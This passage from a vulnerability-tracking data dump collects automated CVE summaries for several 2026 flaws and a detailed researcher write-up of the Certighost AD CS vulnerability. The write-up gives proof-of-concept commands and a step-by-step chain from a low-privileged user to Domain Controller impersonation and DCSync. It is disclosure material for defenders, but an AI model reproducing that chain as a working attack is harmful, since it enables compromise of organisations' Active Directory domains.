"https://gist.github.com/alon710/3db07e14b08e03003c4cb301f74837ed", "content": "# CVE-2026-54356: CVE-2026-54356: Missing Authorization in Budibase leading to Arbitrary S3 Upload URL Generation\n\n> **CVSS Score:** 7.1\n> **Published:** 2026-08-26\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54356\n\n## Summary\nCVE-2026-54356 is a missing authorization vulnerability (CWE-862) within the backend component of the Budibase low-code platform. The vulnerability exists inside the `@budibase/server` package in versions prior to 3.41.3. An authenticated user with the lowest privilege level can invoke the attachment upload URL endpoint directly and obtain an S3 pre-signed PutObject URL signed with the server's S3 credentials.\n\n## TL;DR\nAn authenticated low-privilege user can obtain server-signed AWS S3 pre-signed upload URLs from Budibase and write arbitrary files directly to S3.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-862: Missing Authorization\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Score**: 7.1 (High)\n- **Exploit Status**: Proof-of-Concept Available\n- **Affected Versions**: < 3.41.3\n- **Patch Version**: 3.41.3\n\n## Affected Systems\n\n- Budibase (Packages: @budibase/server)\n- **Budibase (@budibase/server)**: < 3.41.3 (Fixed in: `3.41.3`)\n\n## Mitigation\n\n- Upgrade the Budibase instance to version 3.41.3 or newer.\n- Implement AWS IAM least-privilege policies for S3 credentials.\n- Monitor S3 bucket logs and audit PutObject events using AWS CloudTrail.\n\n**Remediation Steps:**\n1. Determine the current Budibase version deployed on the system.\n2. Apply the vendor-provided patch by upgrading the platform to version 3.41.3.\n3. Configure restricted AWS IAM policies for the S3 credentials used in Budibase to limit write access to specific prefixes.\n\n## References\n\n- [GitHub Security Advisory GHSA-6x9p-4r67-5gjx](https://github.com/Budibase/budibase/security/advisories/GHSA-6x9p-4r67-5gjx)\n- [NVD CVE-2026-54356 Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-54356)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54356) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-27T09:34:14.687953Z"}, {"uuid": "e9d135c7-e08c-4a4b-ab15-060c84783630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54556", "type": "seen", "source": "https://gist.github.com/alon710/99c22712e41b7fe8f253e2a2cd13cc6a", "content": "# CVE-2026-54556: CVE-2026-54556: Heap Exhaustion and Denial of Service in http4s Ember HTTP/2 Backend via HPACK Bomb\n\n> **CVSS Score:** 8.2\n> **Published:** 2026-08-26\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54556\n\n## Summary\nCVE-2026-54556 is a high-severity Denial of Service (DoS) vulnerability impacting the Ember HTTP/2 backend of http4s, a popular functional Scala interface for HTTP services. The vulnerability arises from an improper handling of highly compressed HPACK header blocks, which enables unauthenticated remote attackers to trigger severe memory amplification and crash the JVM runtime via an OutOfMemoryError.\n\n## TL;DR\nThe http4s Ember HTTP/2 backend is vulnerable to HPACK bomb attacks (CWE-409), allowing remote, unauthenticated attackers to trigger heap exhaustion and crash the server via highly compressed header payloads. This is addressed in versions 0.23.35 and 1.0.0-M47.\n\n## Technical Details\n\n- **CWE ID**: CWE-409 (Data Amplification)\n- **Attack Vector**: Network (Remote, Unauthenticated)\n- **CVSS Score**: 8.2 (High)\n- **Exploit Status**: None (No public PoC or active exploitation)\n- **CISA KEV Status**: Not Listed\n- **Primary Impact**: Denial of Service (JVM Heap Exhaustion via OOM)\n- **Affected Components**: Ember HTTP/2 backend in http4s-ember-core\n\n## Affected Systems\n\n- http4s-ember-core_2.12\n- http4s-ember-core_2.13\n- http4s-ember-core_3\n- **http4s-ember-core**: < 0.23.35 (Fixed in: `0.23.35`)\n- **http4s-ember-core**: >= 1.0.0-M1, < 1.0.0-M47 (Fixed in: `1.0.0-M47`)\n\n## Mitigation\n\n- Upgrade http4s-ember-core to patched versions (0.23.35 or 1.0.0-M47).\n- Deploy a reverse proxy (e.g., Nginx, HAProxy) to enforce strict limits on HTTP/2 header size and timeout slow connections.\n- Disable HTTP/2 on the Ember backend to completely eliminate the HPACK attack surface.\n- Configure JVM flags (-XX:+CrashOnOutOfMemoryError) to force rapid self-healing container restarts upon heap exhaustion.\n\n**Remediation Steps:**\n1. Identify all projects importing http4s-ember-core in build.sbt or Maven configuration files.\n2. Update the dependency version: libraryDependencies += \"org.http4s\" %% \"http4s-ember-core\" % \"0.23.35\" (or \"1.0.0-M47\").\n3. Clean build cache and recompile the project to verify transitive dependency resolution.\n4. If direct patching is blocked, configure an upstream proxy or WAF with HTTP/2 header constraints.\n5. Verify the deployment's recovery behavior by configuring clean JVM termination on OOM.\n\n## References\n\n- [GitHub Security Advisory GHSA-vmm3-xgcx-67hm](https://github.com/http4s/http4s/security/advisories/GHSA-vmm3-xgcx-67hm)\n- [Vulnerability Patch Commit](https://github.com/http4s/http4s/commit/6e8eccd64a6a74ab4811897881e95e0e1b3a818e)\n- [Release Tag v0.23.35](https://github.com/http4s/http4s/releases/tag/v0.23.35)\n- [Release Tag v1.0.0-M47](https://github.com/http4s/http4s/releases/tag/v1.0.0-M47)\n- [Official CVE Record (CVE.org)](https://www.cve.org/CVERecord?id=CVE-2026-54556)\n- [National Vulnerability Database (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2026-54556)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54556) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-27T09:34:14.752016Z"}, {"uuid": "61cc69ce-ef72-428f-8bd3-2b1d886eb43b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mrrzurxvdp2e", "content": "Certighost AD CS vulnerability details and PoC code for CVE-2026-54121 are public. The flaw let a low-privileged user impersonate a Domain Controller.\n\n#Certighost #CVE202654121 #ADCS #ActiveDirectory", "creation_timestamp": "2026-07-29T13:30:30.407906Z"}, {"uuid": "f5e032bb-9b10-4de8-a541-574cf3a9cbc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54656", "type": "seen", "source": "https://gist.github.com/alon710/9d9829ba6ab40face903027898206e80", "content": "# CVE-2026-54656: CVE-2026-54656: Arbitrary Code Execution in datamodel-code-generator via Unescaped Validator Configurations\n\n> **CVSS Score:** 7.8\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54656\n\n## Summary\nCVE-2026-54656 is a high-severity arbitrary code execution vulnerability in the koxudaxi/datamodel-code-generator Python package. When processing validator metadata from external configuration files passed via the --extra-template-data argument, the code generator performs unescaped string interpolation into Pydantic v2 @field_validator decorators. This allows local attackers to construct malicious configuration files that inject arbitrary Python statements into generated models, executing code upon downstream import. This vulnerability has been resolved in version 0.60.2.\n\n## TL;DR\nUnescaped string formatting in Pydantic v2 validator generation enables arbitrary code execution at module import time when processing malicious configurations.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-94\n- **Attack Vector**: Local\n- **CVSS v3.1**: 7.8 (High)\n- **Exploit Status**: poc\n- **Impact**: Arbitrary Code Execution\n- **Affected Range**: >= 0.52.1, < 0.60.2\n- **Patched Version**: 0.60.2\n\n## Affected Systems\n\n- datamodel-code-generator\n- **datamodel-code-generator**: >= 0.52.1, < 0.60.2 (Fixed in: `0.60.2`)\n\n## Mitigation\n\n- Upgrade to version 0.60.2 or higher\n- Implement schema validation for configuration files passed to --extra-template-data\n- Isolate compilation steps within sandboxed CI/CD environments\n\n**Remediation Steps:**\n1. Audit existing code generation pipelines for datamodel-code-generator dependencies between versions 0.52.1 and 0.60.1\n2. Upgrade the datamodel-code-generator package in lockfiles or requirements definitions to 0.60.2\n3. Block or filter user-supplied configuration configurations that contain special characters, single quotes, or semi-colons under validator fields\n\n## References\n\n- [NVD - CVE-2026-54656](https://nvd.nist.gov/vuln/detail/CVE-2026-54656)\n- [GitHub Security Advisory GHSA-8m8r-38jm-f355](https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-8m8r-38jm-f355)\n- [datamodel-code-generator v0.60.2 Release Notes](https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.60.2)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54656) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T13:32:26.616949Z"}, {"uuid": "daa7a92f-17c9-4c84-95df-08d78f617176", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54690", "type": "seen", "source": "https://gist.github.com/alon710/6612cc2025e5b81484a44c804b090d50", "content": "# CVE-2026-54690: CVE-2026-54690: Server-Side Request Forgery in datamodel-code-generator Remote Schema Resolution\n\n> **CVSS Score:** 8.2\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54690\n\n## Summary\nCVE-2026-54690 (GHSA-954p-556p-r752) is a Server-Side Request Forgery (SSRF) vulnerability in the datamodel-code-generator Python library from version 0.9.1 to 0.61.0. The library silently resolves remote JSON Schema references ($ref) over HTTP/HTTPS without verifying the target hosts or IP addresses. Because it automatically follows redirects and permits requests to local and private networks by default, an attacker can submit a crafted schema to trigger connections to internal subnets, localhost, or cloud metadata endpoints. Retrieved sensitive data is subsequently parsed and reflected in the generated Python model files, resulting in local and private data disclosure.\n\n## TL;DR\nA Server-Side Request Forgery (SSRF) flaw in datamodel-code-generator allows remote attackers to read sensitive internal network and host configurations (such as cloud instance metadata) by submitting schemas containing malicious remote references.\n\n## Technical Details\n\n- **CWE ID**: CWE-918\n- **Attack Vector**: Network\n- **CVSS Base Score**: 8.2 (High)\n- **Exploit Status**: PoC Available\n- **Affected Versions**: >= 0.9.1, < 0.61.0\n- **Mitigation Option**: Upgrade to 0.61.0 or disable remote references\n\n## Affected Systems\n\n- datamodel-code-generator\n\n## Mitigation\n\n- Upgrade datamodel-code-generator to version 0.61.0 or higher to enforce private network validation by default.\n- Disable remote references globally using the CLI flag --no-allow-remote-refs or programmatic parameter allow_remote_refs=False.\n- Apply network-level egress filtering policies to isolate build pipelines and parser hosts from local network services and cloud metadata endpoints.\n\n**Remediation Steps:**\n1. Identify all internal systems and software dependencies using datamodel-code-generator.\n2. Update requirements.txt, poetry.lock, or Pipfile configurations to use datamodel-code-generator>=0.61.0.\n3. Verify that existing programmatic calls do not set allow_private_network=True unless parsing trusted internal schemas.\n4. Deploy container and egress network policies to block traffic to private subnets (RFC 1918) and loopbacks (127.0.0.0/8) from parser runtimes.\n\n## References\n\n- [NVD - CVE-2026-54690](https://nvd.nist.gov/vuln/detail/CVE-2026-54690)\n- [GitHub Security Advisory GHSA-954p-556p-r752](https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-954p-556p-r752)\n- [Fix Commit 5fdba4a09f2d7a9996a504975b7ef7d63e3715bb](https://github.com/koxudaxi/datamodel-code-generator/commit/5fdba4a09f2d7a9996a504975b7ef7d63e3715bb)\n- [datamodel-code-generator v0.61.0 Release Notes](https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.61.0)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54690) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T14:31:27.675189Z"}, {"uuid": "3ffd62d5-29ff-47d1-8c2e-5cb7229daace", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54666", "type": "seen", "source": "https://gist.github.com/alon710/2872dac20223d7dd754cee0ee5c0587f", "content": "# CVE-2026-54666: CVE-2026-54666: Remote Code Execution via OpenAPI Route Path Injection in swagger-typescript-api\n\n> **CVSS Score:** 8.3\n> **Published:** 2026-07-29\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54666\n\n## Summary\nCVE-2026-54666 identifies a high-severity code injection vulnerability in the swagger-typescript-api code generator library. The library fails to sanitize route paths parsed from OpenAPI Specification (OAS) documents before interpolating them into generated TypeScript and JavaScript client code. When a developer processes a compromised or malicious OpenAPI specification file, the library writes unescaped string literals and dynamic execution blocks directly into backtick template literals. When the generated client's corresponding API method is executed, the embedded JavaScript executes dynamically with the privileges of the active process.\n\n## TL;DR\nThe swagger-typescript-api code generator fails to sanitize route paths. An attacker can craft a malicious OpenAPI specification with embedded JavaScript in a route path to execute arbitrary code when the generated API client is run.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-94 / CWE-1336\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Score**: 8.3\n- **Exploit Status**: Proof-of-Concept\n- **CISA KEV Status**: Not Listed\n- **Ecosystem**: npm\n\n## Affected Systems\n\n- swagger-typescript-api npm package versions prior to 13.12.2\n- **swagger-typescript-api**: < 13.12.2 (Fixed in: `13.12.2`)\n\n## Mitigation\n\n- Upgrade swagger-typescript-api to version 13.12.2 or later.\n- Scan all generated client source code files for unescaped expressions inside template literals.\n- Implement strict schema validation to block route definitions that contain special characters like backticks or execution strings.\n\n**Remediation Steps:**\n1. Open your project directory and execute the package manager upgrade command: `npm install swagger-typescript-api@13.12.2`.\n2. Inspect the generated configuration and files (such as `Api.ts` or `HttpClient.ts`) for instances of `path: ` containing `${` characters.\n3. Integrate automated linting or security scanning into build pipelines to block deployment if unescaped patterns are matched.\n\n## References\n\n- [GitHub Security Advisory GHSA-w284-33mx-6g9v](https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-w284-33mx-6g9v)\n- [GitHub Pull Request #1779](https://github.com/acacode/swagger-typescript-api/pull/1779)\n- [Fix Commit 306d59a](https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de)\n- [CVE-2026-54666 Record](https://www.cve.org/CVERecord?id=CVE-2026-54666)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54666) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T15:31:13.143382Z"}, {"uuid": "a6cb391a-c63a-4f66-9610-0069d52e9e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54735", "type": "seen", "source": "https://gist.github.com/alon710/fffec7ff7a3f093df17d5e871ff03c84", "content": "# CVE-2026-54735: CVE-2026-54735: Critical Server-Side Request Forgery (SSRF) in Prebid Server Bidder Adapters\n\n> **CVSS Score:** 10.0\n> **Published:** 2026-07-29\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54735\n\n## Summary\nCVE-2026-54735 is a critical Server-Side Request Forgery (SSRF) vulnerability in Prebid Server's bidder adapters, allowing unauthenticated remote attackers to route HTTP requests to arbitrary locations, including internal local host loopbacks and cloud provider metadata endpoints.\n\n## TL;DR\nPrebid Server versions prior to 4.4.0 fail to validate or sanitize dynamic host and subdomain parameters within several bidder adapters. This allows unauthenticated remote attackers to manipulate the destination of outbound HTTP requests by supplying control characters in OpenRTB requests.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-918\n- **Attack Vector**: Network\n- **CVSS v3.1**: 10.0 (Critical)\n- **Exploit Status**: Proof of Concept available\n- **CISA KEV Status**: Not listed\n- **Impact**: Server-Side Request Forgery, Local Host Enumeration, Credential Disclosure\n\n## Affected Systems\n\n- Prebid Server\n- **prebid-server**: < 4.4.0 (Fixed in: `4.4.0`)\n\n## Mitigation\n\n- Upgrade to Prebid Server version 4.4.0 or above\n- Configure outbound egress firewalls to block private IP ranges (RFC 1918) and link-local addresses\n- Implement DNS resolution filters inside the container network\n\n**Remediation Steps:**\n1. Identify all active Prebid Server instances and map their respective current versions\n2. Execute upgrade processes to update the prebid-server image or binary to version 4.4.0 or newer\n3. Deploy updated network security policies or firewall rules to limit Prebid Server's outbound egress to public IP endpoints\n4. Verify the mitigation using test payloads matching invalid-host structures\n\n## References\n\n- [GitHub Security Advisory GHSA-4p3g-4hcj-wpvx](https://github.com/prebid/prebid-server/security/advisories/GHSA-4p3g-4hcj-wpvx)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54735) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T16:32:11.749626Z"}, {"uuid": "e6a9d23e-9f25-43c4-a862-084bfe65bc92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54660", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mrse6yre5z2p", "content": "\u300cswagger-typescript-api\u300d13.12.2\u672a\u6e80\u306b\u8106\u5f31\u6027\u3002\u5916\u90e8$ref\u89e3\u6c7a\u6642\u3001`--authorizationToken`\u304cURL\u3059\u3079\u3066\u306b\u8ee2\u9001\u3055\u308c\u3001\u653b\u6483\u8005\u306f\u958b\u767a\u8005/CI\u306e\u30d9\u30a2\u30e9\u30fc\u30fb\u2026\nCVE-2026-54660 CVSS 7.4 | HIGH", "creation_timestamp": "2026-07-29T16:35:10.240130Z"}, {"uuid": "4373d506-7162-4c98-bf10-66c29e401b41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54666", "type": "published-proof-of-concept", "source": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-w284-33mx-6g9v", "content": "", "creation_timestamp": "2026-07-29T16:35:12.328683Z"}, {"uuid": "ac9edd40-1d33-449d-a46f-791a0cf992ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54664", "type": "published-proof-of-concept", "source": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-5f94-x226-ccpm", "content": "", "creation_timestamp": "2026-07-29T16:35:14.714050Z"}, {"uuid": "fd20c84d-60ce-4155-93bb-a780e81a9fe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54661", "type": "published-proof-of-concept", "source": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-38c3-wv3c-v3xj", "content": "", "creation_timestamp": "2026-07-29T16:35:17.293253Z"}, {"uuid": "de755a2b-e8b7-445e-a6e6-abda1058fb18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54663", "type": "published-proof-of-concept", "source": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-x36r-4347-pm5x", "content": "", "creation_timestamp": "2026-07-29T16:35:19.676785Z"}, {"uuid": "5fea3c31-409a-4941-a183-5fc4ec766f6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54662", "type": "published-proof-of-concept", "source": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-hqj5-cw9f-rx67", "content": "", "creation_timestamp": "2026-07-29T16:35:22.720373Z"}, {"uuid": "7c649cad-d88c-4520-bb4c-8fbb1adeef7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54660", "type": "published-proof-of-concept", "source": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-h754-fxp7-88wx", "content": "", "creation_timestamp": "2026-07-29T16:35:25.083910Z"}, {"uuid": "faf705da-a5ca-4bb5-b348-9286c5903c38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54661", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mrsed7ojg425", "content": "**\u5bfe\u8c61\u306e\u88fd\u54c1\uff08\u30a2\u30d7\u30ea\uff09\u540d\u3068\u30d0\u30fc\u30b8\u30e7\u30f3**: swagger-typescript-api (\u30d0\u30fc\u30b8\u30e7\u30f313.12.2\u672a\u6e80) **\u8106\u5f31\u6027\u306e\u5185\u5bb9**: OpenAPI\u4ed5\u69d8\u306eURL\u304c\u30a8\u30b9\u30b1\u30fc\u30d7\u3055\u308c\u305a\u306bH\u2026\nCVE-2026-54661 CVSS 8.3 | HIGH", "creation_timestamp": "2026-07-29T16:37:32.376443Z"}, {"uuid": "c91aa657-457d-4824-83ec-1c4b46e476a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54735", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrsezo76df2q", "content": "CVE-2026-54735 - prebid\nThe Prebid Server's request handling system can be tricked into sending requests to unauthorized destinations, potentially exposing internal services to malicious actors. This could\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#prebid #Golang #CVE #infosec", "creation_timestamp": "2026-07-29T16:50:04.964411Z"}, {"uuid": "61aa32e5-4152-4310-b9c4-8fb4ee7d0ef9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/ASkyeye/652c7ce7a4ab5b1c55c9e668ecace688", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the 